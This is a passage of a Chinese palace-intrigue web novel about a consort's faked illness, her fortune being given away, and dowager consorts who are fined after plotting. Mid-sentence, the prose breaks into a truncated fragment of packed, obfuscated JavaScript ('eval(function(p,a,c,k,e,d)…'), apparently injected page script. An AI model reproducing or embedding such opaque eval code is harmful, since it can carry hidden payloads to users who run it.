虽然是在装,但确有让太医用药好显病重的霍鹣娇惊得鲤鱼打滚般坐起,小宫娥想哭:“秀仪您还是快躺好吧,您嫡兄霍雄鹰在奴婢之前进来的,应该快过来了,您要好转至少也得熬过今日,不然假得太假了,奴婢们和太医都担待不住呀。” 霍鹣娇没来得及说话,寝殿门哐当被踹开,她憋屈死得躺下来装死。 霍雄鹰大摇大摆地走到病榻前,嘲笑地放肆极了。 “鹣娇啊你就放心去死吧,哦不是,三哥是说你要是治不好病死了,我们一定会在你死前帮你把你攒的私房钱全部用光光,你就安心去死吧。来啊,给霍秀仪收拢财物。” 长春宫来的宫人们当即忙活起来,他们刚去抄家伙了,在芷筠斋就地取材,什么木棍、烧火钳还有小厨房的菜刀全捎着,没钥匙开锁就砍,守在病榻前的俩宫女都想捂脸,霍鹣娇内心那个咆哮抓狂啊她要忍无可忍了她要冲起来把霍雄鹰拍成肉饼。 好在俩宫女死死按住霍秀仪没漏出明显的破绽,霍雄鹰成功把这庶妹的财物搜刮干净。他带人走后,这寝殿就像被盗匪扫荡过,霍鹣娇心肝儿疼得要拆房。 是哪个混蛋说这个计谋绝对不会被破解,霍灵渠若来见她就休想逃过被陛下亲自捉奸,霍灵渠若是不来见她就休想逃脱不管堂妹死活的骂名,啊啊啊啊啊气死她了! 霍鹣娇受不了的下床去抄东西砸来泄愤,芷筠斋宫墙外,她的嫡兄和堂姐堂而皇之霸占她的财物,霍雄鹰更兴奋得简直像在刮分庶妹的遗物,可清点着清点着他就兴奋不起来了,恨恨嫌爹给得忒多,居然能点出那么多东西。 “大伯给过霍鸳娇多少?”霍灵渠猜:“霍鸳娇应该不会让霍鹣娇拿得比她多。” 嘎?霍雄鹰歪头估算:“霍鸳娇出阁的时候是拿二万两筹备嫁妆,爹又被娉姨娘怂恿着给她补过两份嫁妆,后补的两份好像合计有五万两,再加上她出阁前哄着爹要的钱,霍鸳娇拿到的钱财大概八万两,难道霍鹣娇这些财物不全是爹给的?” “还有姑母赏赐和官眷们送的吧。”霍灵渠扫眼宫人们,安排道:“雄鹰,这二万两银票就分做十天的量,一天用二千两,你拿一千五百两给娉姨娘他们三个,五百两拿去买米送给宫外的百姓,这匣子金条要不然就你拿着吧。 这箱珠宝,你有喜欢的你就拿,你拿好,装三匣珠宝送给品阶最低的三位:翁美人、喻秀仪和倪芳华。那两大匣银元宝和布料绸缎以及摆件让宫人们领吧,银锭领完,还剩的器物再划分十天的量,你搭着银票送给娉姨娘他们。” 在场的宫人们有点小激动,老太医转向宫墙自我面壁,管事姑姑欲哭无泪啊。 霍雄鹰当然没意见,大手一挥就把这十来根金条收进自个儿的腰包,再在珠宝箱里翻翻拣拣挑出他中意的,这才叫宫娥来装匣,装三匣珠宝送给那三位嫔御。 霍灵渠叮嘱去送珠宝的宫人们让翁美人她们不必来谢恩了,宫人们应是,挨个领走一锭银元宝一件首饰一匹绸缎后去办事,在场的宫人紧随着排队领东西。 芷筠斋内探出名宫女来看着这幕场景都心肝颤,半弯着腰移到管事姑姑身边悄声禀告,霍秀仪要冲出来,她们快拦不住了。管事姑姑僵着脸挤出声音:“用安神香。”不管怎样她必须把今天兜住,否则不用霍秀仪来弄死她,她今日就能脑袋掉地了。 霍雄鹰瞄到那角落的动静要揪出来被贵妃堂姐制止才装不知,宫女顺利返回芷筠斋内。而此处的热闹早不知引得多少躲避着围观的宫人蠢蠢欲动,有些胆大的冲过来排在队伍后,轮到领东西时霍贵妃没阻拦,瞬间引得大批宫人们蜂拥而至。 两大匣银元宝以肉眼可见的速度减少直至被领完,霍灵渠看看这长队伍,让大家继续领吧,这些布料首饰摆件领完作罢,不给娉姨娘和霍鸳娇送了。 现场爆出热烈的谢恩声,领财宝的宫人们起劲儿了都有许多重复排队想再拿次。 芷筠斋的几名宫人你看看我我看看你,默契地混进队伍里想应该能蒙混过去,芷筠斋的管事姑姑那个辛苦啊,她在霍贵妃面前实在没法蒙,她若去排队就是真不要脸了。 队伍不断增长不断有宫人排入,人都要排出芷筠斋前的宫道了,翁美人带着八名宫婢来瞧热闹都被这场景惊了惊,大家这么疯啊,贵妃真在白白撒钱吗? 她都是在半道上遇到给她送珠宝的宫婢的,芷筠斋的热闹传出来,乐得她都快笑翻了,她从来不晓得破财消灾还能这么解释、还能这么破解用假装病危来对付自己的计策。 贵妃这是想把霍鹣娇给活活气死啊!翁美人知道这事后乐得就没停下来过,笑死她了,她都知道霍鹣娇打得什么主意,谁看不出来呀,她觉着霍鹣娇真不长脑子,做算计还挑大家都能看穿你的算计之时,你还想指望你的计谋能成功吗? 但她也真不觉得贵妃能全身而退,不会被霍鹣娇算计到但会被泼不管堂妹死活的脏水,哪想到?!翁美人捧着孕肚想这可真是礼尚往来了:你装性命垂危想拿捏我,我就把你的钱财送掉给你散财驱邪保平安,你病好当然是我的功劳,你有种别病好啊! 还能让阖宫都知道你就是在装能败死你名声,她看这热闹真快乐得不行了。 只是翁美人虽然来看热闹但她是不想被霍贵妃注意到的,她就藏在隐蔽处观察,丫鬟们劝她看排队领东西没什么可看的、来芷筠斋前瞧过就回拾翠阁吧、皇嗣要紧全被她驳掉,翁美人兴致高涨着呢,她猜霍鹣娇没准忍不住要冲出来,那闹起来可就精彩了。 其实,她个孕妇想藏住怎么可能,无非是霍贵妃得知后放任了,皇帝没有放任而已。嬴忱璧示意婢女们莫出声,盯她半响没被察觉,亲自拍拍她肩膀,翁美人还傻乎乎摆手否掉:“哎呀你们不要念了,贵妃不会发现,皇儿也不会今日就要出生的。” “皇儿可有委屈称诉美人猫着身看热闹让还在你腹中的他不舒服么?”皇帝似侃非侃,翁美人愣下,瞬间头皮发麻,拧巴着转过身请安,缩着脑袋不敢看陛下。 皇帝嬴忱璧问:“贵妃是蛮不讲理还是能吃了你,这样故意避着贵妃成何体统?” 翁美人苦着小脸请罪:“妾、妾看贵妃在忙怕搅扰贵妃,失礼之处请陛下责罚。” “随朕来。”嬴忱璧没好气往前走,翁美人苦逼跟着,排队的宫人们看见陛下忙行礼。他走到芷筠斋前,霍灵渠率众给陛下请安,皇帝身后的翁美人率随行宫婢给贵妃请安再就刚得赏赐的珠宝向贵妃谢恩;霍灵渠随意嗯声略过,请皇帝坐还被嬴忱璧回拒了。 “朕就是来看看,霍秀仪病危,贵妃打算给她散财以驱病邪,是也?” “是呀,陛下。”霍灵渠眼眸亮晶晶笑入眉梢:“有钱能使鬼推磨嘛,既然太医治不好,只能给鹣娇她散财了,若是散散财能令她转危为安自然是值得,您说是吧?” 跟随皇帝来的宫人们真不知想笑还是都想同情霍秀仪惨烈了,翁美人辛苦憋笑,这乐事她听几遍都忍不住乐,霍鹣娇搬起石头砸自己都没这么倒霉的。 嬴忱璧面上正经应嗯,心底忍俊不禁真被逗乐了,贵妃怎么这么古灵精怪呢。 谁没被逗乐呀,皇城阖宫因此笑音不绝,在长春宫的霍太后愉悦想她的灵渠就是聪慧。郭皇后和她闻讯进宫来的母亲乐得都没在意霍鹣娇没成功,杭婕妤鄙薄这种下三滥的明抢手段也没妨碍她心情不错,喻秀仪恰相反,真想赞声应对得妙。 当此时,大概只有出此计又帮着霍秀仪布置齐全的太妃们会恼羞成怒了。 鞠太妃和小朱太妃同住在宁寿宫,同住慈寿宫的庄太妃和朱太妃过来时她们两个还怒得在殿里砸东西,门槛前缩着群依附的太妃和宫婢唯唯诺诺,庄太妃令退下,小朱太妃抬杠:“不准走!你们现在就给我去安排,把霍桑柔送给群泼赖流氓。” “退下!”朱太妃再传令,小朱太妃念着她堂姐的脸面咬牙默认,那群废物刚滚蛋,她抄起博古架上的琉璃貔貅摆件怒砸,手指着堂姐诘问:“二姐你什么意思,芷筠斋的计可是我们设的,霍灵渠都把我的脸踩到脚底下了,你还要我忍?” “霍桑柔对霍家微不足道,贵妃呢,你没看见霍太后疼爱这侄女吗?”朱太妃厉声训:“你若是把霍桑柔毁掉了,霍贵妃还能罢休吗?” “不罢休又怎样?”小朱太妃丝毫不怵:“我昌隆侯府还能怕他霍家,还不如就趁势把霍家拔掉,省得我竟然还要受霍灵渠的窝囊气,由着霍家张狂那么多年也是够了。” “哈哈哈!”朱太妃被气笑了:“你竟然还要受霍灵渠的窝囊气?妹妹,倒不知你是哪个牌面上的人物竟受不得霍灵渠的压制,你还能比得过庄姐姐的楚王和三公主吗,温献皇后在世时连他们都得避霍灵渠的锋芒,你有什么不能?” 小朱太妃被噎得直想对呛但理智忍住了,看庄太妃竟然默认,不甘地看向鞠太妃求证。鞠太妃深呼吸道:“你进宫晚,没见过温献皇后生前有多得圣人宠爱,温献皇后看霍灵渠投缘拿她当亲女儿疼爱,假若那时你在宫里对霍灵渠动歪心思,死的就是你。” “荒谬!”小朱太妃下意识驳斥:“晏贵妃被追尊皇后又如何,她还能比得过我昌隆侯府在圣人心中的份量,我是我爹最疼爱的女儿,我还能动不了霍灵渠?” 庄太妃乃至朱太妃这堂姐都不想理会,还是鞠太妃刺破她的幻想:“那你想过你为何没给圣人怀过皇嗣、你们朱家送进宫来五个姑娘都留不住一个皇嗣吗?” 小朱太妃不受控制的心里咯噔声:“你想说什么?” “你姑祖母朱太后生前害得温献皇后生不出健康的皇嗣,故,圣人大怒,不给昌隆侯府升国公爵,朱家女进宫就被绝育。”鞠太妃语气淡淡没什么同情:“你进宫就被灌绝育汤了,你不知道而已;你爹很清楚,没告诉你而已。” “怎么可能?”小朱太妃怔怔不敢相信,她堂姐朱太妃再给她记当头棒喝:“是补偿,圣人对昌隆侯府的荣宠是补偿,是宫里这群朱家女不得生养换来的,是圣人对没允母亲生前心愿的愧疚。温献皇后是圣人的挚爱,你算什么?” “我?”小朱太妃红唇发颤呼吸急促,倏然,她爆出凄厉的气势硬犟:“我是我爹最疼爱的女儿,我就是弄死霍灵渠又怎样,我爹定然保我无恙。” “可惜了,你姨娘守候三十年都还没被扶正,枉你姨娘总以昌隆侯最爱的女人自居。”朱太妃扬着笑迈进门槛嘲弄:“怕不是四叔对你姨娘犹如穆国公对那娉姨娘吧。” 小朱太妃怒而反笑:“可不是可惜,大伯无福死得早,否则哪能轮到我爹承爵位?” 被刺痛的朱太妃霎时眼神转锋利射向她,悉知这对堂姐妹隔阂,鞠太妃不得不打圆场:“行了,陈年往事你们还翻起来没完了?眼下,圣人还没想把霍家拔起,不宜和霍家硬碰,但这羞辱也不能不回击,就把那个娉姨娘推出去吧。” 朱太妃闭闭眼,拨着带的佛珠手串当翻篇,小朱太妃握握拳憋着窝火退让:“行。” “料理霍桑柔是该用这个娉姨娘,但还不到时候。”庄太妃迈进门槛,点出要点:“在他们难以为继时方能把人捏死,你们先帮着愗郡公夫妇把他们的银两刮干净吧。” “好,料理霍桑柔就暂且往后押几日,大皇子住在魏王府,明日就让他重病不起吧。”小朱太妃嗤讽:“就拿魏王顶着皇帝让他们去斗吧,省得皇帝动不动来摆威风。” “皇帝就是故意布下的这陷阱。”庄太妃莞尔弯唇将蔑视盖得近乎没有:“你试啊,你看结果是不是皇帝和魏王联手把你揪出来押到圣人面前钉死你,你不怕就去试吧。” 小朱太妃瞳孔微缩闪过丝不可思议,到底没硬呛,鞠太妃顿生烦闷:“你确定没估错是皇帝故意在设陷阱想让太妃们往里跳,皇帝还能跟魏王联手吗?” “有何不能,他们联手有什么稀奇?”庄太妃怡然笑:“魏王巴不得想钉死我和晋王,皇帝嫌我太不安生要压太妃的气焰,他们有何不能联手布个陷阱来专门候着我?” “天爷啊!”鞠太妃烦躁道:“圣人还在世,我们这些太妃还活不活了?要我说,真不能这么放任,放任就是坐以待毙让自己窝囊死。反正选秀在即,新人进宫来,皇帝会贪恋女色没什么稀奇不会让人生疑的,到时候不就什么事都好办多了。” “鞠姐姐,贪恋女色和色令智昏是两回事,让皇帝贪恋女色能有什么用,难道皇帝贪恋女色就能对着嫔妃言听计从吗,若是如此还能不叫人生疑吗?霍太后第一个就要清查了。”朱太妃耻笑:“若男人贪恋女色能有用,五个朱家女何至于都留不下一个皇嗣?” 鞠太妃一噎想反驳又底气不足,没好气道:“那你说怎么办,就这么认了?” “慢慢来吧,何必执泥争这一时长短。”庄太妃哼笑着若有若无的睥睨之态放话离去,没多久,宫人们进殿来收拾满地光滑润泽的珍宝碎片。 位处偏僻的太妃宫殿里的喧闹归向平寂时,芷筠斋前的热闹也告一段落了,霍贵妃捎着霍秀仪还剩的家底回长春宫,霍雄鹰揣着二千两银票出宫去散财行善。 来到昭德门外,霍雄鹰斜了眼,把银票甩给他们仨就跑马,连个正眼都欠奉。 霍鸳娇对霍雄鹰这德行见得多了懒得理会他的嘴脸,解开这个小布包,见真是银票,她又不放心地检验遍,确定真是一千五百两银票,她咬着唇喊姨娘。 银两送到手里还能往外推吗?娉姨娘假装思量下就把这些银票收过来,板脸教导她生的二姑奶奶和六少爷:“姨娘先帮鹣娇收着,她病好后再给她。” “姨娘?”霍鸳娇还能猜不出来她姨娘肯定不会再把银票吐出来嘛:“这是给鹣娇驱病邪的银两,是给我们分的。”旋即被训:“怎的,你还想白拿你妹妹的银两啊?” 你不就想白拿?霍鸳娇憋屈忍下,没好气吼车夫还不快赶车。 霍雄鹰赶到城中闹市,找家米铺拍出五百两银票来买米,可拿五百两银子来买米不得把米铺搬空吗?他也懒得麻烦,就让店家喊过路的行人进店来扛米,一人一袋,随便拿。 百姓们聚到店家门前,得知因由,边哈哈大笑边火速排成长队准备拿米,这也太乐了,这热闹扩散得更快,传到霍家阖府皆知,霍擎老太爷午膳还多吃了碗饭。 京城中新轮议论登场,原以为皇宫中的喧嚣应该能按住了,哪想皇帝刚用过午膳,今天第二轮宫廷闹事就摆在他眼前了:今早有个小太监拿着号称是霍贵妃亲笔的信笺找晏霁之,晏霁之便把那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“陛下,第一,我若答能,您不会相信,我亦不相信自己能做到,不能才是我的坦率,我答能既是虚伪更兼有欺君之嫌,君臣间因此而猜疑横生又何必?第二,贵妃还没有侍寝,我才是她曾经最亲近的人,她习惯了依赖我往我怀里扑。” 晏霁之标榜:“我们独处,她会主动扑我怀里。” 嬴忱璧真是想豁达都脸黑了:“朕要对爱卿用刑,想领哪种刑罚你自己挑吧。” “陛下,不如试试贵妃?假若贵妃主动对我投怀送抱,您处罚她吧。”晏霁之利索地逃避可能的皮肉受罪,嬴忱璧眼皮一跳:“你再说一遍?” “假若是贵妃对我投怀送抱,陛下当然应该两个人一起罚或者只处置她。”晏霁之理直气壮:“只处罚我不是太不公平了吗,哪怕捅到圣人面前,哪怕闹得尽人皆知害得霍贵妃被褫夺贵妃尊位,我也必须讨回属于我的公道。” “你真的喜欢灵渠吗?”嬴忱璧怀疑他在耍什么把戏,晏霁之赞同:“当然,但喜欢和公平又没有冲突,两个人犯错凭什么我独自承担?” 嬴忱璧答曰:“男人保护心爱的女人不是理所应当吗?” 晏霁之提醒:“没有冲突,男人应该保护心爱的女人又不是要帮她揽过错。人活在世间都该有担当,自己的责任就该自己担着,孩童做错事都应该要承担责任;我和灵渠两个人犯错若是由我独自担不是爱她是纵得她没有责任感,是害她。” 嬴忱璧很认同他对人都该有担当的态度,但该挖坑还是得挖:“不如,朕给你个机会让你告诉贵妃,倘若朕将你和贵妃捉住,你不会帮她担下惩戒?” 晏霁之挑眉,心说这可是你主动让我们独处啊怨不得我:“我有要求,第一,把你刚才的用刑收回;第二,倘若霍灵渠对我投怀送抱,我肯定不会推开她,你不能因此惩戒我们;第三,你不能因此事记仇留以后对我憋坏耍阴招。” “好!” 踏着午后和暖光照,正徽帝嬴忱璧带晏霁之来到长春宫、霍贵妃暂居的偏殿,皇帝示意宫人们禁声再把宫人遣退,皇帝走去窗前观察,晏霁之推门进屋。 轻纱暖闺兰清香,霍灵渠盖条薄毯在美人榻里小憩,美人墨黑青丝披肩,不施脂粉的睡颜又纯又欲分外惹人怜惜想叫人珍藏,嬴忱璧忽然有点后悔想叫停,不想让晏霁之看见如此诱人的贵妃,晏霁之同样的想把屋外的皇帝赶走。 他注视片刻,取下女人发髻间的玉簪戳戳她脸,看得嬴忱璧又眼皮一跳。 霍灵渠被吵醒,意外看见晏霁之还没说什么、晏霁之把玉簪给她,抬抬手示意她站起来再塞张纸条给她,然后自然占据贵妃刚躺着的美人榻,看得皇帝有点热血飙升。 “隅中,蓬莱池畔清凉殿,不见不散。”霍灵渠看着字迹喃喃:“像我的字迹。” “嗯,有七八分形似能勉强装装,你该请霍太后处置长春宫内的细作了。”晏霁之道,霍灵渠沉默下,将玉簪和纸条放在榻旁的高几上,转身,比男人靠在她的美人榻更自然地扑进他怀里,在观察的皇帝一瞬间不敢相信这亲眼所见之景,狠狠按太阳穴闭下眼睛。 “今早我把霍鹣娇的财物散尽大半。”霍灵渠仿若真眷恋般地怀抱着他低诉,晏霁之不怕挑战皇帝底线地环手臂拥住女人,轻佻打趣:“嗯,绝对是只有财迷才能想出来的损招,老穆国公个老财迷想不教出个小财迷来都难,你就是个小财迷没跑了。” “财迷怎么啦,这世间没有钱财寸步难行,爱财有何不对,我爱财我又不贪财骗财。”霍灵渠抱怨般嘟囔抗议,晏霁之失笑地捏捏她小脸:“怎么还感觉委屈了?” 站在窗外的嬴忱璧再闭闭眼,他想自欺欺人都欺不住晏霁之和霍灵渠之间的确是他还不能比的,晏霁之能随心所欲地捏霍灵渠的脸,而他想碰贵妃的脸颊还抬不起手来。 “霍鹣娇想要我死。”霍灵渠忍不住鼻酸嫌他没眼力劲:“我和她又没有生死大仇,她和她姨娘还有她姐姐弟弟今后仍有富贵享,她就想要我死,我有何不能委屈?” “你和人家又没堂姐妹情,你委屈得不矫情吗?”晏霁之数落她:“第一,我提出由你出面担下对那娉姨娘的算计时就提醒过人家的报复。第二,这娉姨娘在穆国公内宅的垮掉对人家影响多大,他们想报复你太正常了,你有什么可意外的? 第三,嫔妃争斗是家常便饭,只要霍秀仪觉得你妨碍她了,她就能对付你包括害死你,霍鹣娇的行为完全在情理中,也能值得你难受委屈吗?” 霍灵渠瞪他,但瞪他归瞪他,瞪过后歪歪头,照样自在地窝在他怀里。 晏霁之眷恋地真想一直抱着不撒手,可到底不能太挑战皇帝的耐性:“假若皇帝待会儿过来将我们捉住,算你勾引我,我不会替你揽下你那份刑罚。” “知道了。”霍灵渠像没过耳,在窗外观察的皇帝嬴忱璧惊讶了,晏霁之不满她这调调地得寸进尺:“要不然该两个人共担的惩戒还是由你全担吧。” “知道了。”霍灵渠浑然没在意,嬴忱璧看得不可思议了,晏霁之不满:“你是在敷衍我呢还是觉得我没担当,你给我解释清楚你这两遍知道了是个什么意思?” “我就知道你要挑我的刺。”霍灵渠懒得争辩:“反正话都在你那里,我顺着你的意思、你要挑刺,我不顺着你的意思更是我的错,你想我怎么答?” “你是在指责我无理取闹无事生非吗?”晏霁之毫不心虚地跟她算账,霍灵渠奋起道:“但凡在你不舒心的时候,你衣袍上沾到滴泥是我的错,有片枯叶飘落在你眼前是我的错,天上飞过一行大雁不是两行大雁都是我的错,什么都是我的错就对了。” 在殿外观察的皇帝嬴忱璧有点抖激灵,好像能理解贵妃说的晏霁之的臭毛病了。 晏霁之腹诽这女人果然嚣张想涨就飙涨,似笑非笑装温和:“这么说,这些年你在我身边忍得很辛苦啊,不如我们坦诚聊聊你对我有过忍无可忍的时候吗?” 霍灵渠觑觑他,忽然有种能反压他的雀跃,憋着得意哼:“你觉得可能会没有吗?” “看来是我没有自知之明了。”晏霁之若有歉意地笑起来:“既然在我身边时你就对我忍无可忍了,请问你是怎么做到今日都还没有报复我?” 霍灵渠喜不自胜,高兴得只顾宣布自己的心得:“不用报复啊,每每我对你那挑剔劲儿忍无可忍时我就跟我自己说:就当在养儿子吧,反正我又不跟你过一辈子。” 在殿外的皇帝竟感觉有点不忍直视地想捂脸,他算是理解贵妃类比和晏霁之的关系了。可惜霍灵渠她乐极生悲了,晏霁之咆哮:“你有胆量给我再说一遍?!” 捻虎须的美人立时被憋住,委屈巴巴抿唇不语。嬴忱璧盯着贵妃,有股说不出的热切期盼想贵妃能顶回去,哪想他只看到贵妃居然真退缩了,竟会连再重复遍都不敢。 晏霁之给她记笔重账,瞟见她偷偷摸摸从果盘里拿只柑橘剥皮,挑下眉。 霍灵渠剥掉皮又将橘瓤上的白丝剔净,果不其然给男人喂瓣橘肉,晏霁之再挑挑眉,意味深长笑着由着她讨好他。站在殿外的嬴忱璧转过身,龙颜低落甚至有丝苦涩。 “我得走了,在长春宫的正殿等你,你梳妆好过来找我,陪我去趟太妃宫苑。” 两个人分着吃完只柑橘,晏霁之搂着她交代,霍灵渠淡淡嗯声反而惹得他笑了:“你不想问我找太妃们做什么吗?”再得霍灵渠理所当然说:“找她们算账呀。” “我午后来找你是为何故?”晏霁之再问,霍灵渠答:“你上午去找太上皇了。” 这女人猜得要不要这么准,他故意避重就轻侧重在找她是为何故,她居然都能给猜对,晏霁之有点小郁闷:“你也清楚我是如何劝服太上皇同意让我找那群太妃算账的?” “这算计拿你当傻瓜看呗。”霍灵渠能不清楚他的德行嘛:“你会跑太微宫都只是因为这算计竟将你视作傻瓜,你不在意有算计冲着你,但视你如傻瓜,你怎可能忍?” 重新转过身注视殿内的皇帝嬴忱璧微微扎心,贵妃对晏霁之竟如此了解? “你梳妆吧。”晏霁之挫败地放弃争辩了,退走到殿外,见到皇帝,作揖行礼。 嬴忱璧龙颜沉沉盯着他,盯得晏霁之都要怀疑皇帝想背信反悔时皇帝拂袖带他走,去找太后谈谈长春宫中偷盗贵妃笔迹的细作以及他们要去趟慈寿宫处理的事。 100. 第100章 宫阙千重高几许?数十丈,十数丈,对注定困禁在深宫中的人而言或许比天还高吧。 太妃宫苑,这是个什么地儿呀,是皇城再多喜庆都与之无关的地方,但五十多位太妃,哪怕半数太妃都还想再争强,到底还有二三十位是规矩安分的。 何况纵有太妃再想煽风点火都不会在慈寿宫和宁寿宫生事,这就是个注定枯寂的地方。皇城城墙高三十三丈,隔断前朝和内廷的宫墙高达二十三丈,此地围墙七尺高,爬梯能看见墙外风景,但对死寂沉沉的太妃们仍高得能锁住余生了。 皇帝突然驾临慈寿宫,要见用度比照正五品嫔御即圣人禅位前居一二品妃位的众太妃,还带着百多名禁军,如此来势汹汹岂会有好事? 庄太妃就把在皇宫中养老的五十三名太妃全召集在慈寿宫前会见皇帝了。 晴空朗朗的和煦在此被撕裂,皇帝这方与太妃们那方之间横亘着泾渭分明的界限,微妙而显著的对峙摆开。翁美人来看热闹,远远看这架势,犹豫会儿还是悄悄离去。 御前总管蒋厚运将陛下的来意告示完毕,庄太妃难以置信圣人这份态度,朱太妃眉心跳好像能预见她们将会愈发被束缚,鞠太妃冷笑:“证据呢,随便扯张纸条搞个小太监出来就想给太妃们泼脏水,天下能有这种事儿,陛下也不怕被人笑掉大牙。” 正徽帝嬴忱璧不语,两位统领都没搭腔,蒋厚运自不会多话,让英王世子自个儿对峙吧毕竟是他要挑事,可晏霁之哪会是跟群太妃打嘴仗的主儿,他就递张纸条给霍贵妃。 霍灵渠看过后还被皇帝截走了,纸条上书:你自由发挥吧。嬴忱璧真想训训他:你非得把贵妃扯进来做什么,你挑起的事你不出面还想把贵妃卷进来,你还像什么样?! “证据在太微宫太上皇手里呀,没看见护卫太微宫的神策军顾统领陪同在此吗?” 霍灵渠对代晏霁之对峙全然没感觉,向前迈出步,捏着妖妃的腔调蔑视:“想要证据去太微宫向太上皇请呀,现在是你们接惩戒的时候、只有接惩戒的份儿。在皇宫里几十年,这点道理都不懂吗,还是众位太妃想公然违抗圣人旨意?” 鞠太妃要对呛被朱太妃拉住,庄太妃面有恭顺含笑:“陛下、贵妃,圣人旨意降下,臣妾们自该接旨,但总没有所有太妃给谁背黑锅的道理,英王世子大张旗鼓指摘有太妃算计他和贵妃却指不出是哪位太妃,这叫我们如何能服?” “以下言论皆出自英王世子,跟我霍灵渠没关系。”霍灵渠窃喜,按捺着反压他的暗爽偷乐宣告:“你们七位做嫔妃时位居一二品高位,做太妃,皇宫中众太妃自是以你们为主,皇宫里有太妃惹出事来当然是你们没管好是你们的责任。 我不找你们难道还反揪着某个太妃算账吗?难道庄太妃你被个小孩拿石头砸了,你不找小孩的家长追究反而揪着个小孩对打吗? 我不在意有算计冲着我,我有意见的是你们这算计拿我当傻瓜,派个小太监送张纸条来就想做算计,这么拙劣的把戏摆明拿我当傻瓜了,本世子还如何善罢甘休? 没看见佟梦奭的下场吗,他敢侮辱我,我照样断掉他的仕途,你们将我视如傻瓜还敢指望我能放过你们吗?你们要知道,我姑母温献皇后是圣人的挚爱,我是我姑母的心肝宝贝,相当于我就是圣人的心尖尖,你们能配跟我比吗?” 她话落,现场冒出诡异的寂静,鞠太妃和小朱太妃等几位被噎够呛,蒋厚运甚至神策军顾统领都忍不住嘴角抽搐。皇帝嬴忱璧含蓄打量贵妃,他真的觉得贵妃好像透着股兴奋而且是在对晏霁之幸灾乐祸,贵妃莫不是故意挖坑送给晏霁之吧? 晏霁之本人则黑着脸扯皇帝要纸条,嬴忱璧诡异看向他,晏霁之拿过纸条展示:“诸位请看清楚,我只请霍贵妃自由发挥,她的任意揣测跟我本人没有任何关系。 我严重怀疑霍贵妃是因她在英王府时我对她曾有过的不好而故意抹黑我,此举曝露出的是她阴暗的小人品质,我没让她给我道歉澄清已经是我忍让的极限了。” 观众们:“……” 霍灵渠凶凶瞪他,晏霁之反瞪回去,霍灵渠郁闷转头,心里怼他:有本事你反驳我呀,明明都是你的心里话偏要装高雅装俊逸出尘,当我不知道你的德行嘛! 皇帝嬴忱璧真有想捂脸的冲动,合着他刚看过的令他热血飙升的场景是假的吗? 好些太妃被折腾得真没好气,大总管蒋厚运都有些哭笑不得,神策军顾统领腹诽:相互拆台都这么起劲,说好的英王世子独宠流光姨娘呢? 嬴忱璧手抵唇轻咳声,把控道:“父皇是念及太妃们的体面不想闹得太难看,几位太妃还是从速决定吧,是让英王世子杖毙三十名奴婢还是出十万两银票赔罪?” 做嫔妃时居一二品的太妃是:庄太妃和鞠太妃做嫔妃时居从一品,朱太妃位居正二品,蜀王的生母姬太妃、乐邑长公主的生母四十五岁的戚太妃、三十七岁的田太妃和三十五岁的阮太妃这四位做嫔妃时皆位居从二品,眼下该怎么拿主意就是落到她们头上的。 事不关己,没牵涉的四十多位太妃包括小朱太妃自然都随意了,被牵涉的几位,庄太妃提出要她们商议过再定,皇帝同意了但只给一刻钟。 退回到慈寿宫正殿前,鞠太妃窝火道:“商量什么商量,要杖毙奴婢就杖毙,十万两,跟我开玩笑呢,拿群奴婢的命威胁就想要十万两,我就没见过这种笑话。” “你以为皇帝和英王世子真会将这群奴婢杖毙吗?他们是要我们拿银两保密。”庄太妃何尝不觉得憋屈:“三十个奴婢由他们挑,他们挑的肯定是我们的心腹,这三十人被他们安排假死审问,你知道会被挖出多少秘密来吗?这才是要命的事儿。” 鞠太妃和阮太妃及戚太妃愣下,田太妃心慌:“不至于吧,英王世子敢这么狂?” “晏贵妃,晏贵妃的心肝宝贝侄儿,她可真是养了个好侄儿。”庄太妃想笑,眼中隐约闪烁的却是恨:“仅凭一张字条一个不知名的小太监啊,他居然凭这么点东西就撬动了圣人纵着他大闹太妃们,他是真不知道出自哪位太妃的手笔。 不重要,他无所谓更不屑找某个太妃回击,是太妃做的,他找我们算就可以了,个中道理霍贵妃说的明明白白,是这么回事,这是在敲山震虎更是在给皇帝做示范。” “你就这么认了?”鞠太妃不甘:“我们打到太微宫找圣人做主又怎样?” “疯了是吧,你没看见顾统领陪着来的!”庄太妃猛然怒叱:“又怎么样,你发昏了还是嫌过得舒坦,圣人已然做出决断,你若还闹就不是跟英王世子对垒而是在抗旨在质疑圣人,你要是嫌日子过得舒服你就去太微宫试试看。” 鞠太妃瑟缩下咬着唇梗着脖子倔强,五十多岁的姬太妃接话:“出银两吧,十万两,那就我和庄太妃各出一万五千两,你们五位各拿一万四千两银票吧。” 阮太妃年轻时是位绝色美人而今仍然风姿绰约,但她能坐到从二品妃位是赖庄太妃扶持,做嫔妃时她就在庄淑妃麾下,此时看庄太妃的意思自然得掏银两。田太妃做嫔妃时能登高位是靠自己但她向来左右逢源甚少得罪人,还是戚太妃不情愿地出面反对了。 “哎哟,姬姐姐,我现在都要指着我家乐邑过活的,我哪儿来的银两呀?” “这种时候就别哭穷了,二十多年了谁对谁还不知点根底?”朱太妃提醒,戚太妃笑:“朱姐姐,要算起来可是鞠太妃和你堂妹小朱太妃还有阮太妃哄骗霍秀仪设出今日的计策,我们五个可没凑热闹,被迫出银两不是太冤了,你们银两多也不必这么乱用吧。” 朱太妃是要比戚太妃小好几岁,可皇宫嫔妃们的姐姐妹妹称呼又不是按年纪来算的。 “哼,蛊惑郭皇后和令愔夫人还有翁美人对付霍贵妃,你没跟着凑热闹吗?霍贵妃跟你又有何冤仇呢还不是戚姐姐你好事拿来消遣嘛。”阮太妃轻蔑告诫:“你的账难道干净得了,太妃们对外总归在一条船上,总不至于为这一万多两你就想被孤立吧?” 戚太妃扭着帕子没作声就当默许掏钱了,庄太妃拍板道:“好了,拿银两吧。” 鞠太妃咬牙没反对,各自取银票,住宁寿宫的鞠太妃、戚太妃和阮太妃还得折返趟。 慈寿宫占地二十亩住有三十位太妃,姬太妃相较于庄太妃她们三位住得僻静,她回到住处拿好银票,出屋遇见田太妃,这可是稀客:“田太妃找我有事?” “我?”田太妃形容惴惴貌有忐忑:“姬姐姐不觉得反常嘛,庄太妃多得圣心呀,圣人对朱家又是何等恩宠,怎会竟然能被英王世子劝动来下她们的脸?” “你想要什么?”姬太妃直截了当:“我不喜欢拐弯抹角,田太妃直说吧。” 